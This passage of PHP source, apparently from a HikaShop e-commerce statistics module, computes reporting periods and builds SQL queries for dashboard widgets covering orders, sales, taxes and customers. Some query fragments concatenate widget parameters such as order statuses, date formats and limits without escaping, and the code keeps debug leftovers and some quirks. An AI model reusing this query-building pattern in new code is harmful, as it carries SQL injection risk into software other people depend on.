			if($widget->widget_params->content=='partners' ||
$widget->widget_params->display=='map') return false;
			if(!hikashop_level(1) &&
in_array($widget->widget_params->display,array('gauge','pie')))
return false;
		}

		if(isset($widget->widget_params->periodType) &&
$widget->widget_params->periodType=='proposedPeriod'){
			$widget->widget_params->end=time();
			switch($widget->widget_params->proposedPeriod){
				case 'all':
					$widget->widget_params->period=0;
					$widget->widget_params->start='';
					$widget->widget_params->end='';
					break;
				case 'today': //TO CHECK!!
					$dayBeginning = hikashop_getDate(time(),'%m,%d,%Y');
					$dayBeginning=explode(',',$dayBeginning);
					$start= mktime(0, 0, 0, $dayBeginning[0], $dayBeginning[1],
$dayBeginning[2]);
					$widget->widget_params->start=$start;
					break;
				case 'yesterday':
					$yesterdayDate=$widget->widget_params->end-86400;
					$yesterdayDate=hikashop_getDate($yesterdayDate,'%m,%d,%Y');
					$yesterdayDate=explode(',',$yesterdayDate);
					$start= mktime(0, 0, 1, $yesterdayDate[0], $yesterdayDate[1],
$yesterdayDate[2]);
					$end= mktime(23, 59, 59, $yesterdayDate[0], $yesterdayDate[1],
$yesterdayDate[2]);
					echo hikashop_getDate($start,'%m,%d,%Y');
					$widget->widget_params->start=$start;
					$widget->widget_params->end=$end;
					break;
				case 'last24h':
					$widget->widget_params->start=$widget->widget_params->end-86400;
					break;
				case 'thisWeek':
					$widget->widget_params->start=$widget->widget_params->end-604800;
					break;
				case 'thisMonth':
					$widget->widget_params->start=$widget->widget_params->end-2592000;
					break;
				case 'thisYear':
					$widget->widget_params->start=$widget->widget_params->end-31536000;
					break;
				case 'previousWeek':
					$currentDate=hikashop_getDate($widget->widget_params->end,'%m,%w,%d,%Y');
					$previousWeekStart=explode(',',$currentDate);
					$previousWeekEnd=explode(',',$currentDate);
					$previousWeekStart[2]=$previousWeekStart[2]-6-$previousWeekStart[1];
					$previousWeekEnd[2]=$previousWeekEnd[2]-7+(7-$previousWeekEnd[1]);
					$start= mktime(0, 0, 0, $previousWeekStart[0], $previousWeekStart[2],
$previousWeekStart[3]);
					$end= mktime(23, 59, 59, $previousWeekEnd[0], $previousWeekEnd[2],
$previousWeekEnd[3]);
					$widget->widget_params->start=$start;
					$widget->widget_params->end=$end;
					break;
				case 'previousMonth':
					$currentDate=hikashop_getDate($widget->widget_params->end,'%m,%d,%Y');
					$previousMonthStart=explode(',',$currentDate);
					$previousMonthEnd=explode(',',$currentDate);

					$previousMonthStart[0]=$previousMonthStart[0]-1;

					$previousMonthStart[1]=1; //First day of previous month
					$previousMonthEnd[1]=1; //First day of current month
					$start= mktime(0, 0, 0, $previousMonthStart[0],
$previousMonthStart[1], $previousMonthStart[2]);
					$end= mktime(0, 0, 0, $previousMonthEnd[0], $previousMonthEnd[1],
$previousMonthEnd[2])-1;
					$widget->widget_params->start=$start;
					$widget->widget_params->end=$end;
					break;
				case 'previousYear':
					$currentDate=hikashop_getDate($widget->widget_params->end,'%m,%d,%Y');
					$previousMonthStart=explode(',',$currentDate);
					$previousMonthEnd=explode(',',$currentDate);

					$previousMonthStart[2]=$previousMonthStart[2]-1;

					$previousMonthStart[1]=1; //First day of previous year
					$previousMonthEnd[1]=1; //First day of current year
					$previousMonthStart[0]=1; //First month of previous year
					$previousMonthEnd[0]=1; //First month of current year
					$start= mktime(0, 0, 0, $previousMonthStart[0],
$previousMonthStart[1], $previousMonthStart[2]);
					$end= mktime(0, 0, 0, $previousMonthEnd[0], $previousMonthEnd[1],
$previousMonthEnd[2])-1;
					$widget->widget_params->start=$start;
					$widget->widget_params->end=$end;
					break;
			}
		}

		if(isset($widget->widget_params->period_compare) &&
$widget->widget_params->period_compare!='null' &&
isset($widget->elements)){
			switch($widget->widget_params->period_compare){
				case 'last_period':
					$diff=$widget->widget_params->end-$widget->widget_params->start;
					$widget->widget_params->end=$widget->widget_params->start;
					$widget->widget_params->start=$widget->widget_params->end-$diff;
					break;
				case 'last_year':
					$widget->widget_params->end=strtotime("-1 year",
$widget->widget_params->end);
					$widget->widget_params->start=strtotime("-1 year",
$widget->widget_params->start);
					break;
				case 'average':
					$widget->widget_params->end='';
					$widget->widget_params->start='';
					break;
			}
		}

		if($widget->widget_params->display=='table'
&&	empty($widget->widget_params->date_type)){
			$widget->widget_params->date_type='created';
		}

		switch($widget->widget_params->content){
			case 'orders':
			case 'sales':
			case 'taxes':
				$date_field =
'a.order_'.@$widget->widget_params->date_type;
				break;
			case 'partners':
			case 'customers':
				$date_field = 'a.user_created';
				break;
		}

		$compare=true;
		$setFilters=true;
		if(isset($widget->widget_params->compare_with)){if($widget->widget_params->compare_with=='periods')
$compare=false;}
		if($widget->widget_params->display=='pie'){
$compare=false; }
		if($widget->widget_params->display=='table' &&
($widget->widget_params->content=='customers' ||
$widget->widget_params->content=='partners')){
$compare=false; }
		if($widget->widget_params->display=='map'){
			if($widget->widget_params->content=='customers' ||
$widget->widget_params->content=='partners'){
				$setFilters=false;
			}
			$compare=false;
		}
		if($setFilters){
			if(isset($widget->widget_params->filters['cat.category_id'])){
				if(($widget->widget_params->content=='customers' ||
$widget->widget_params->content=='partners')){
					$leftjoin['order'] = ' LEFT JOIN
'.hikashop_table('order').' AS o ON o.order_id =
a.user_id ';
					$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = o.order_id ';
				}else{
					$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = a.order_id ';
				}
				$leftjoin['product'] = ' LEFT JOIN
'.hikashop_table('product').' AS p ON prod.product_id =
p.product_id ';
				$leftjoin['product_category'] = ' LEFT JOIN
'.hikashop_table('product_category').' AS cat ON
cat.product_id = p.product_id OR cat.product_id=p.product_parent_id';
				if($widget->widget_params->category_childs){
					$leftjoin['category'] = ' LEFT JOIN
'.hikashop_table('category').' AS categ ON
cat.category_id = categ.category_id ';
					$widget->widget_params->filters['cat.category_id']=array_merge($widget->widget_params->filters['cat.category_id'],
$widget->widget_params->childs);
				}
			}
			if(isset($widget->widget_params->filters['prod.product_id'])){
				if(($widget->widget_params->content=='customers' ||
$widget->widget_params->content=='partners')){
					$leftjoin['order'] = ' LEFT JOIN
'.hikashop_table('order').' AS o ON o.order_user_id =
a.user_id ';
					$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = o.order_id ';
				}else{
					$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = a.order_id ';
				}
			}
		}

		if($compare==true){
			$limit=''; $getLimit='';
			if(isset($widget->widget_params->limit))
$getLimit=$widget->widget_params->limit;
			$filters=$this->_dateLimit($widget, $filters, $date_field);
			$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
			if(!empty($getLimit)	&& !$csv){
				$limit=' LIMIT '.$getLimit;
			}
			if(isset($widget->widget_params->compares)){
				$leftjoin['currency'] = ' LEFT JOIN
'.hikashop_table('currency').' AS d ON d.currency_id =
a.order_currency_id ';
			}

			if(isset($widget->widget_params->compares['prod.order_product_name'])){
				if($widget->widget_params->content=='orders'){
					$selectAdd='prod.order_product_quantity';
				}else if($widget->widget_params->content=='sales'){
					$selectAdd='(prod.order_product_price+prod.order_product_tax)*prod.order_product_quantity';
				}
				if(!isset($leftjoin['order_product'])){
					$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = a.order_id ';
				}
				if(!isset($leftjoin['product'])){
					$leftjoin['product'] = ' LEFT JOIN
'.hikashop_table('product').' AS p ON prod.product_id =
p.product_id ';
				}
				$ids=$this->_getBestProducts($filters,
$widget->widget_params->content, $limit);
				if(!empty($ids)){
					foreach($ids as $id){
						$productIds[]=$id->order_product_name;
					}
					$widget->widget_params->filters['prod.order_product_name']=$productIds;
				}
			}
			if(isset($widget->widget_params->compares['c.category_id'])){
				if(!isset($leftjoin['order_product'])){
$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
prod.order_id = a.order_id '; }
				if(!isset($leftjoin['product_category'])){
$leftjoin['product_category'] = ' LEFT JOIN
'.hikashop_table('product_category').' AS cat ON
cat.product_id = prod.product_id '; }
				$leftjoin['category'] = ' LEFT JOIN
'.hikashop_table('category').' AS c ON c.category_id =
cat.category_id ';

				$ids = $this->_getBestCategories($filters,
$widget->widget_params->content, $limit);
				if(!empty($ids)){
					foreach($ids as $id){
						$categoryIds[]=$id->category_id;
					}
					if(isset($categoryIds)){
						$widget->widget_params->filters['cat.category_id']=$categoryIds;
					}
				}
			}
			if(isset($widget->widget_params->compares['a.order_currency_id'])){
				$currencies=$this->_getBestCurrencies($filters, $limit);
				if(!empty($currencies)){
					foreach($currencies as $currency){
						$currenciesIds[]=$currency->currency_id;
					}
					$widget->widget_params->filters['a.order_currency_id']=$currenciesIds;
				}
			}
			if(isset($widget->widget_params->compares['a.order_discount_code'])){
				$filters=array();
				$filters=$this->_dateLimit($widget, $filters, $date_field);
				$filters[]='order_discount_code IS NOT NULL AND
order_discount_code <> \'\'';
				$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
				$discountCodes=$this->_getBestDiscount($filters, $limit);
				if(!empty($discountCodes)){
					foreach($discountCodes as $discountCode){
						$discountIds[]=$discountCode->order_discount_code;
					}
					$widget->widget_params->filters['a.order_discount_code']=$discountIds;
				}
			}
			if(isset($widget->widget_params->compares['a.order_shipping_method'])){
				$shippingMethods=$this->_getBestShipping($filters, $limit);
				if(!empty($shippingMethods)){
					foreach($shippingMethods as $shippingMethod){
						$shippingNames[]=$shippingMethod->order_shipping_method;
					}
					$widget->widget_params->filters['a.order_shipping_method']=$shippingNames;
				}
			}
			if(isset($widget->widget_params->compares['a.order_payment_method'])){
				$shippingMethods=$this->_getBestPayment($filters, $limit);
				if(!empty($shippingMethods)){
					foreach($shippingMethods as $shippingMethod){
						$shippingNames[]=$shippingMethod->order_payment_method;
					}
					$widget->widget_params->filters['a.order_payment_method']=$shippingNames;
				}
			}
		}
		$filters=array();
		$limit='';

		switch($widget->widget_params->content){
			case 'orders':
			case 'products':
			case 'categories':
			case 'discounts':
			case 'orders':
			case 'sales':
			case 'taxes':
				$date_field =
'a.order_'.@$widget->widget_params->date_type;
				$filters['type']='a.order_type=\''.$this->order_type.'\'';
				if(!empty($widget->widget_params->status)){
					$filters['status']='a.order_status IN
(\''.implode('\',\'',$widget->widget_params->status).'\')';
				}
				if($widget->widget_params->display=='listing'){
					if($widget->widget_params->content=='products' ||
$widget->widget_params->content=='categories' ||
$widget->widget_params->content=='discounts'){
						$select.='*,';
					}else{
						$leftjoin[] = ' LEFT JOIN
'.hikashop_table('user').' AS b ON
a.order_user_id=b.user_id ';
						$select.='b.*,';
					}
				}
				if($widget->widget_params->content=='orders'){
					if(!empty($selectAdd)){
						$pie= 'SUM('.$selectAdd.') AS total';
					}else{
						$pie = 'COUNT(a.order_id) AS total';
					}
				}elseif($widget->widget_params->content=='taxes'){
					if(!isset($leftjoin['order_product'])){
						$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
a.order_id=prod.order_id AND prod.order_product_tax > 0 ';
					}
					$pie = 'SUM(prod.order_product_tax*prod.order_product_quantity)
AS total,a.order_currency_id AS currency_id';
					$groupby_add=', currency_id';
				}else{
					if(!empty($selectAdd)){
						$pie= 'SUM('.$selectAdd.') AS total';
					}else
if(isset($widget->widget_params->filters['prod.product_id'])){
						$pie =
'SUM((prod.order_product_price+order_product_tax)*order_product_quantity)
AS total,a.order_currency_id AS currency_id';
					}else{
						$pie = 'SUM(a.order_full_price) AS total,a.order_currency_id AS
currency_id';
					}
					$groupby_add=', currency_id';
				}
				$widget->widget_params->content_view = 'order';
				$sum = $pie;
				$pie .=',a.order_status AS name';
				$table = 'order';
				$id = 'order_id';

				if(isset($widget->widget_params->filters['a.order_status'])
&&
empty($widget->widget_params->filters['a.order_status'][0])){
					unset($widget->widget_params->filters['a.order_status']);
				}
				if(isset($widget->widget_params->filters['a.order_payment_method'])
&&
empty($widget->widget_params->filters['a.order_payment_method'][0])){
					unset($widget->widget_params->filters['a.order_payment_method']);
				}
				if(isset($widget->widget_params->filters['a.order_shipping_method'])
&&
empty($widget->widget_params->filters['a.order_shipping_method'][0])){
					unset($widget->widget_params->filters['a.order_shipping_method']);
				}

				if(isset($widget->widget_params->filters) &&
!empty($widget->widget_params->filters)){
					foreach($widget->widget_params->filters as $columnName =>
$values){
						if(is_array($values)){
							foreach($values as $k => $val){
								$values[$k]=$db->Quote($val);
							}
							$filters[] = $columnName." IN
(".implode(",",$values).")";
						}else{
							$filters[] = $columnName.' = '.$db->Quote($values);
						}
					}
				}

				if(isset($widget->widget_params->compares) &&
!empty($widget->widget_params->compares) &&
$widget->widget_params->compares!='0:,' &&
$compare==true){
					foreach($widget->widget_params->compares as $columnName =>
$values){
						$groupby[] = $columnName;
						$type[] = $values;
					}
					$fieldtype=', '.
					$fieldtype .= empty($type) ? "'Total'" :
"CONCAT('',".implode(", ' - '
,",$type).")";
					$fieldtype.=' as type';
				}

				break;
			case 'partners':
			case 'customers':
				$widget->filter_partner = 1;
				if($widget->widget_params->content=='customers'){
					$widget->filter_partner = 0;
					$filters[]='a.user_partner_activated=0';
				}else{
					$filters[]='a.user_partner_activated=1';
				}
				if($widget->widget_params->display=='listing'){
					$leftjoin[] = ' LEFT JOIN
'.hikashop_table('users',false).' AS b ON
a.user_cms_id=b.id ';
					$select.='b.*,';
				}

				if(isset($widget->widget_params->filters['a.order_status'])
&&
empty($widget->widget_params->filters['a.order_status'][0])){
					unset($widget->widget_params->filters['a.order_status']);
				}
				if(isset($widget->widget_params->filters['a.order_payment_method'])
&&
empty($widget->widget_params->filters['a.order_payment_method'][0])){
					unset($widget->widget_params->filters['a.order_payment_method']);
				}
				if(isset($widget->widget_params->filters['a.order_shipping_method'])
&&
empty($widget->widget_params->filters['a.order_shipping_method'][0])){
					unset($widget->widget_params->filters['a.order_shipping_method']);
				}

				if(isset($widget->widget_params->filters) &&
!empty($widget->widget_params->filters)){
					foreach($widget->widget_params->filters as $columnName =>
$values){
						$leftjoin['order'] = ' LEFT JOIN
'.hikashop_table('order').' AS o ON
a.user_id=o.order_user_id ';
						$columnName =
str_replace('a.','o.',$columnName);
						if(is_array($values)){
							foreach($values as $k => $val){
								$values[$k]=$db->Quote($val);
							}
							$filters[] = $columnName." IN
(".implode(",",$values).")";
						}else{
							$filters[] = $columnName.' = '.$db->Quote($values);
						}
					}
					$groupby[] = 'o.order_user_id';
				}

				$table = 'user';

				$date_field = 'a.user_created';
				$sum = 'COUNT(a.user_id) AS total';
				$widget->widget_params->content_view = 'user';
				$id = 'user_id';
				break;
		}


		switch($widget->widget_params->display){
			case 'gauge':
			case 'column':
			case 'area':
			case 'line':
			case 'graph':
				$config = JFactory::getConfig();
				if(!HIKASHOP_J30){
					$timeoffset = $config->getValue('config.offset');
				} else {
					$timeoffset = $config->get('offset');
				}
				$group_string = '';
				switch($widget->widget_params->date_group){
					case '%H %j %Y':
						$group_string = '%Y %j %H';
						break;
					case '%j %Y':
						$group_string = '%Y %j';
						break;
					case '%u %Y':
						$group_string = '%Y %u';
						break;
					case '%m %Y':
						$group_string = '%Y %m';
						break;
					default:
						$group_string = $widget->widget_params->date_group;
						break;
				}
				$timeoffset =
(int)($timeoffset*60*60)-(int)@$widget->widget_params->offset;
				if($timeoffset>=0){
					$timeoffset = '+'.$timeoffset;
				}
				$group = 'DATE_FORMAT(FROM_UNIXTIME(CAST('.$date_field.'
AS SIGNED
)'.$timeoffset.'),\''.$group_string.'\')';
				$select .=$group.' AS calculated_date, '.$sum;
				$limit.=' GROUP BY calculated_date'.$groupby_add;
				$limit.=' ORDER BY calculated_date DESC';
				break;
			case 'listing':
				$best_customers=false;
				if(isset($widget->widget_params->customers)){
if($widget->widget_params->customers=='best_customers'){
$best_customers=true; } }
				if(($widget->widget_params->content=='customers'
&& $best_customers) ||
($widget->widget_params->content=='partners' &&
$widget->widget_params->partners=='best_customers')){
					$filters=$this->_dateLimit($widget, $filters, $date_field);
					$getLimit=$widget->widget_params->limit;
					if(!empty($getLimit) && !$csv){	$limit=' LIMIT
'.$getLimit;	}
					$elements=$this->_getBestCustomers($filters, $widget, $limit);
					$widget->elements=$elements;
					$first = reset($elements);
					if(empty($first)){return false;}
					unset($first->user_params);
					$widget->exportFields = array_keys(get_object_vars($first));
					return true;
				}
				if($widget->widget_params->content=='products' ||
$widget->widget_params->content=='categories' ||
$widget->widget_params->content=='discounts'){
					$widget->widget_params->content_view='product';
					$getLimit=$widget->widget_params->limit;
					if(!empty($getLimit)	&& !$csv){ $limit=' LIMIT
'.$getLimit;	}
					if($widget->widget_params->content=='products' ||
$widget->widget_params->content=='categories'){
						$filters=$this->_dateLimit($widget, $filters, $date_field);
					}else{
						$filters[]='order_discount_code IS NOT NULL AND
order_discount_code <> \'\'';
					}
					if(!empty($filters)){
						$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
					}
					$leftjoin = implode(' ',$leftjoin);

					if($widget->widget_params->product_order_by=='best')
{	$reverse=false;	}
					else{ $reverse=true;	}
					if($widget->widget_params->content=='categories'){
						$ids=$this->_getBestCategories($filters,
$widget->widget_params->product_data, $limit, $reverse);
						foreach($ids as $key => $id){
							if(empty($id->category_name)){
								$id->category_name=Jtext::_('CATEGORY_NOT_FOUND');
							}
						}
						$widget->elements=$ids;
						if($widget->widget_params->product_data=='sales'){
							$widget->exportFields=array('category_name',
'Total');
						}else{
							$widget->exportFields=array('category_name',
'quantity');
						}
						return true;
					}
					if($widget->widget_params->content=='products'){
						$ids=$this->_getBestProducts($filters,
$widget->widget_params->product_data, $limit, $reverse, false,
$leftjoin);
						$widget->elements=$ids;
						if($widget->widget_params->product_data=='sales'){
							$widget->exportFields=array('order_product_name',
'Total');
						}else{
							$widget->exportFields=array('order_product_name',
'quantity');
						}
						return true;
					}
					if($widget->widget_params->content=='discounts'){
						$widget->widget_params->content_view='discount';
						$ids=$this->_getBestDiscount($filters, $limit, $reverse,
$leftjoin);
						$widget->elements=$ids;
						$widget->exportFields=array('order_discount_code',
'Total');
						return true;
					}
				}
				if($widget->widget_params->content=='customers' ||
$widget->widget_params->content=='partners' ||
$widget->widget_params->content=='orders'){
					if(!empty($id)){
						$order_last=false;
						if(isset($widget->widget_params->orders_order_by)){
							if($widget->widget_params->orders_order_by=='last'){
								$order_last=true;
							}
						}
						if($widget->widget_params->content=='customers'||
$widget->widget_params->content=='partners'){
							$limit.=' ORDER BY a.'.$id.' DESC';
						}else if($order_last){
							$limit.=' ORDER BY a.order_created DESC';
						}else{
							$limit.=' ORDER BY a.order_full_price DESC';
						}
					}
					if(!empty($widget->widget_params->limit) && !$csv){
						$limit.=' LIMIT
'.(int)$widget->widget_params->limit;
					}

					$select.='a.*';
				}
				if($csv &&
($widget->widget_params->content=='orders' ||
$widget->widget_params->content=='sales')){
					$leftjoin[]=' LEFT JOIN #__hikashop_address AS address1 ON
a.order_billing_address_id=address1.address_id';
					$select.=',address1.*';
				}
				break;
			case 'pie':
				$select.=$pie;
				$limit.=' GROUP BY a.order_status'.$groupby_add;
				break;
			case 'map':
				if($widget->widget_params->content=='orders' ||
$widget->widget_params->content=='sales' ||
$widget->widget_params->content=='taxes'){
					if(!empty($widget->widget_params->map_source) &&
$widget->widget_params->map_source=='shipping'){
						$address='order_shipping_address_id';
					}else{
						$address='order_billing_address_id';
					}
					$leftjoin[] = ' LEFT JOIN
'.hikashop_table('address').' AS b ON
a.'.$address.'=b.address_id LEFT JOIN
'.hikashop_table('zone').' AS z ON
b.address_country=z.zone_namekey';
					$select.='*, '.$sum;
					$limit.=' GROUP BY z.zone_namekey'.$groupby_add;
				}else{
					$select.='*, '.$sum;
					$leftjoin[]= ' LEFT JOIN
'.hikashop_table('address').' AS b ON
a.user_id=b.address_user_id LEFT JOIN
'.hikashop_table('zone').' AS z ON
b.address_country=z.zone_namekey ';
					$limit.=' GROUP BY z.zone_namekey'.$groupby_add.' ORDER
BY address_default';
				}
				break;
			case 'table':
				if($widget->widget_params->content=='sales' ||
$widget->widget_params->content=='orders' ||
$widget->widget_params->content=='taxes'){
					if(!isset($leftjoin['order_product'])){
						$leftjoin['order_product'] = ' LEFT JOIN
'.hikashop_table('order_product').' AS prod ON
a.order_id=prod.order_id ';
					}
					if($widget->widget_params->content=='sales'){
						if(@$widget->widget_params->with_tax){
							$select.='SUM((prod.order_product_price+prod.order_product_tax)*prod.order_product_quantity)
as Total, a.order_currency_id';
						}else{
							$select.='SUM(prod.order_product_price*prod.order_product_quantity)
as Total, a.order_currency_id';
						}
					}else if($widget->widget_params->content=='orders'){
						$select.='COUNT(DISTINCT(a.order_id)) as Total,
a.order_currency_id';
					}else if($widget->widget_params->content=='taxes'){
						$select.='SUM(prod.order_product_tax*prod.order_product_quantity)
as Total, a.order_currency_id';
					}
				}else if($widget->widget_params->content=='customers'
|| $widget->widget_params->content=='partners'){
					if($widget->widget_params->customers=='last_customer'){
						$where='';
						if($widget->widget_params->content=='partners'){
							$where=' WHERE user_partner_activated=1 ';
						}
						$query='SELECT u.name FROM
'.hikashop_table('order').' AS o LEFT JOIN
'.hikashop_table('user').' as hu ON
o.order_user_id=hu.user_id LEFT JOIN
'.hikashop_table('users',false).' as u ON
u.id=hu.user_cms_id ' .
								$where.'ORDER BY o.order_created ASC LIMIT 1';
						$db->setQuery($query);
						$elements = $db->loadResult();
						$widget->elements =& $elements;
						return true;
					}
					if($widget->widget_params->customers=='total_customers'){
						$filters='';
						if($widget->widget_params->content=='partners'){
							$filters[]=' user_partner_activated=1 ';
						}
						$filters=$this->_dateLimit($widget, $filters, $date_field);
						if(!empty($filters)){
							$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
						} else {
							$filters = '';
						}
						$query='SELECT COUNT(name) FROM
'.hikashop_table('users',false).' as u LEFT JOIN
'.hikashop_table('user').' as a ON u.id=a.user_cms_id
'.$filters;
						$db->setQuery($query);
						$elements = $db->loadResult();
						$widget->elements =& $elements;
						return true;
					}
					if($widget->widget_params->customers=='best_customer'){
						$filters=array();
						$filters=$this->_dateLimit($widget, $filters, $date_field);
						$elements=$this->_getBestCustomers($filters, $widget, 'LIMIT
1');
						$widget->elements =& $elements[0]->name;
						return true;
					}
				}else{
					$date_field =
'a.order_'.@$widget->widget_params->date_type;
					$filters=$this->_dateLimit($widget, $filters, $date_field);
					if(!empty($filters)){
						$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
					}
					if($widget->widget_params->content=='best'){
$reverse=false; }
					else{$reverse= true;	}
					switch($widget->widget_params->apply_on){
						case 'product':
							$products=$this->_getBestProducts($filters, 'table',
'LIMIT 1', $reverse, true);
							if(empty($products[0]->order_product_name))
$name=JText::_('NOT_SPECIFIED');
							else{ $name=$products[0]->order_product_name.'
('.$products[0]->Total.')'; }
							$widget->elements = $name;
							return true;
							break;
						case 'category':
							$categories=$this->_getBestCategories($filters,
'orders', 'LIMIT 1', $reverse);
							$categoryId=array_keys($categories);
							if(empty($categories)){
								$widget->elements=JText::_('NOT_SPECIFIED');
								return true;
							}
							$query='SELECT category_name FROM
'.hikashop_table('category').' WHERE
category_id='.(int)$categoryId[0];
							$db->setQuery($query);
							$elements = $db->loadResult();
							if(!isset($elements)){
								$elements=JText::_('NOT_SPECIFIED');
							}else{
								foreach($categories as $cat){
									$elements.=' ('.$cat->Total.')';
								}
							}
							$widget->elements = $elements;
							return true;
							break;
						case 'shipping_method':
							$shipping=$this->_getBestShipping($filters, 'LIMIT 1',
$reverse);
							foreach($shipping as $ship){
								if(empty($ship->order_shipping_method)){ $name=
JText::_('NOT_SPECIFIED'); }
								else{ $name=$ship->order_shipping_method;}
								$element=$name.' ('.$ship->Total.')';
							}
							$widget->elements = $element;
							return true;
							break;
						case 'payment_method':
							$payment=$this->_getBestPayment($filters, 'LIMIT 1',
$reverse);
							foreach($payment as $pay){
								if(empty($pay->order_payment_method)){ $name=
JText::_('NOT_SPECIFIED'); }
								else{ $name=$pay->order_payment_method;}
								$element=$name.' ('.$pay->Total.')';
							}
							$widget->elements = $element;
							return true;
							break;
						case 'currency':
							$currency=$this->_getBestCurrencies($filters, $limit, $reverse);
							foreach($currency as $cur){
								if(empty($cur->currency_name)){ $name=
JText::_('NOT_SPECIFIED'); }
								else{ $name=$cur->currency_name; }
								$element=$name.' ('.$cur->Total.')';
							}
							$widget->elements = $element;
							return true;
							break;
						case 'discount':
							$filters=array();
							$filters=$this->_dateLimit($widget, $filters, $date_field);
							$filters[]='order_discount_code IS NOT NULL AND
order_discount_code <> \'\'';
							$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
							$discount = $this->_getBestDiscount($filters, ' LIMIT
1', $reverse);
							foreach($discount as $disc){
								$element=$disc->order_discount_code.'
('.$disc->Total.')';
							}
							$widget->elements = $element;
							return true;
							break;
						case 'country':
							break;
						default: break;
					}

				}
				if(empty($groupby)) $groupby = array();
				$groupby[] = 'a.order_currency_id';
				break;
			default:
				break;
		}

		$end=time();
		$filters = $this->_dateLimit($widget, $filters, $date_field);
		if(!empty($filters)){
			$filters = (empty($filters)? ' ':' WHERE
').implode(' AND ',$filters);
		} else {
			$filters = '';
		}
		$leftjoin = implode(' ',$leftjoin);
		if(!empty($groupby)){
			if(!empty($limit)){
				if(strpos($limit,'GROUP BY ')!==false){
					$limit = str_replace('GROUP BY ', 'GROUP BY
'.implode(',',$groupby).',', $limit);
				}else{
					$limit = ' GROUP BY '.implode(',',$groupby).'
'.$limit;
				}
			}else{
				$limit = ' GROUP BY '.implode(',',$groupby);
			}
		}
		$query=$select.$fieldtype.' FROM
'.hikashop_table($table).' AS a'.$leftjoin.$filters.$limit;
		$db = JFactory::getDBO();
		$db->setQuery($query);
		$elements = $db->loadObjectList();
		if(!empty($elements)){
			if(isset($widget->widget_params->compares)){
				foreach($elements as $element){
					if(empty($element->type)){
						$element->type=JText::_('NOT_SPECIFIED');
					}
				}
			}
		}

		if(!empty($elements)){
			$first = reset($elements);
			if($widget->widget_params->content=='sales' &&
isset($first->currency_id)){
				$currencyClass=hikashop_get('class.currency');
				$currencyClass->convertStats($elements);
				if($widget->widget_params->display=='pie'){
					$group = 'name';
				}elseif($widget->widget_params->display=='map'){
					$group = 'zone_code_2';
				}else{
					$group = 'calculated_date';
				}
				$newElements = array();
				foreach($elements as $k => $element){
					if(isset($widget->widget_params->compares)){
						$type=$element->type;
					}else{
						$type='';
					}
					if(!isset($newElements[$element->$group.$type])){
						$newElements[$element->$group.$type]=$element;
					}else{
						$newElements[$element->$group.$type]->total +=
$element->total;
					}
				}
				$elements = $newElements;
			}
		}

		switch($widget->widget_params->display){
			case 'gauge':
				if(empty($widget->widget_params->end)){
					$widget->widget_params->end=time();
				}
				$current =
$this->_mysqlDate($widget->widget_params->date_group,$widget->widget_params->end);
				$total = 0.0;
				$main=0.0;
				$average = 0.0;
				$same = array();
				$i = 0;
				if(!empty($elements)){
					foreach($elements as $k => $period){
						if($period->calculated_date==$current){
							$main = $period->total;
						}else{
							$total+=$period->total;
							if(!isset($same[$period->calculated_date])){
								$i++;
								$same[$period->calculated_date]=$period->calculated_date;
							}
						}
					}
				}
				if($i){
					$average = $total/$i;
				}
				$widget->average = $average;
				$widget->total = $total;
				$widget->main = $main;
				$widget->exportFields =
array('calculated_date','total');
				break;
			case 'map':
				$widget->exportFields =
array('zone_code_2','zone_name_english','total');
				if(!empty($elements)){
					$newElements = array();
					foreach($elements as $k => $element){
						if(!empty($element->zone_code_2)){
							$newElements[$element->zone_code_2]=$element;
						}
					}
					$elements = $newElements;
				}
				break;
			case 'column':
			case 'line':
			case 'area':
			case 'graph':
				$dates = array();
				$minimum = 0;
				if(!empty($elements)){
					foreach($elements as $k => $element){

						$this->_jsDate($widget->widget_params->date_group,$element,
$widget, $diff);
						if(!isset($element->type)){
							$element->type=$this->_generateName($widget,
$widget->widget_params->content, $element);
						}
						if(empty($minimum) || $minimum>$element->timestamp){
							$minimum = $element->timestamp;
						}
						$dates[$element->calculated_date.$element->type] = $element;
					}
				}

				if(empty($widget->widget_params->end)){
					$widget->widget_params->end=time();
				}
				if(empty($widget->widget_params->start)){
					if(!empty($widget->widget_params->period)){
						$widget->widget_params->start =
$widget->widget_params->end - $widget->widget_params->period;
					}else{
						if($minimum==0){
							$minimum = time();
						}
						$widget->widget_params->start = $minimum;
					}
				}

				$typeTable=array();
				if(!empty($elements)){
					foreach($elements as $element){
						if(!isset($typeTable[$element->type])){
							$typeTable[$element->type]=$element->type;
						}
					}
				}

				$widget->widget_params->end;
				$end = $widget->widget_params->end;
				$obj = new stdClass();
				$obj->timestamp = $end;
				$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
				if(isset($widget->widget_params->compares)){
						foreach($typeTable as $oneType){
							$obj = new stdClass();
							$obj->timestamp = $end;
							$obj->calculated_date =
$this->_mysqlDate($widget->widget_params->date_group,$obj->timestamp);
							if(!isset($dates[$obj->calculated_date.$oneType])){
								$this->_jsDate($widget->widget_params->date_group,$obj,
$widget, $diff);
								$obj->total = 0;
								$obj->type=$this->_generateName($widget,$oneType, $obj);
								$dates[$obj->calculated_date.$oneType] = $obj;
							}
						}
				}else{
					if(!isset($dates[$obj->calculated_date.$widget->widget_params->content])){
						$this->_jsDate($widget->widget_params->date_group,$obj,
$widget, $diff);
						$obj->total = 0;
						$obj->type=$this->_generateName($widget,
$widget->widget_params->content, $obj);
						$dates[$obj->calculated_date.$widget->widget_params->content]
= $obj;
					}
				}

				while($widget->widget_params->start<$end){
					switch($widget->widget_params->date_group){
						case '%H %j %Y':
